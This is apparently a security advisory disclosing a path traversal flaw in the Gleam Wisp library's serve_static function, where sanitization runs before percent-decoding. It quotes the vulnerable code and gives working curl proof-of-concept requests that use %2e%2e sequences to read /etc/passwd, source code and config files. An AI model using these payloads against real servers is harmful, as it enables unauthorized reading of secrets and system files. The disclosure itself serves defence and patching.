### Summary

`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

### Details

In `src/wisp.gleam`, `serve_static` processes the request path in this order:

```gleam
let path =
path
|> string.drop_start(string.length(prefix))
|> string.replace(each: "..", with: "") // Step 1: sanitize
|> filepath.join(directory, _)

let path = case uri.percent_decode(path) { // Step 2: decode
Ok(p) -> p
Error(_) -> path
}
```

Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.

### PoC

Any application using `wisp.serve_static`:

```gleam
fn handle_request(req: wisp.Request) -> wisp.Response {
use <- wisp.serve_static(req, under: "/static", from: priv_directory())
wisp.not_found()
}
```

Exploit (requires `--path-as-is` to prevent client-side normalization):

```bash
# Read /etc/passwd
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"
```

### Impact

This is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:

- Application source code
- Configuration and secrets in `priv/`
- `.env` files, `secret_key_base`, private keys
- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)

### Workaround

Copy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.

### References

* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93

CWE-22 Path Traversal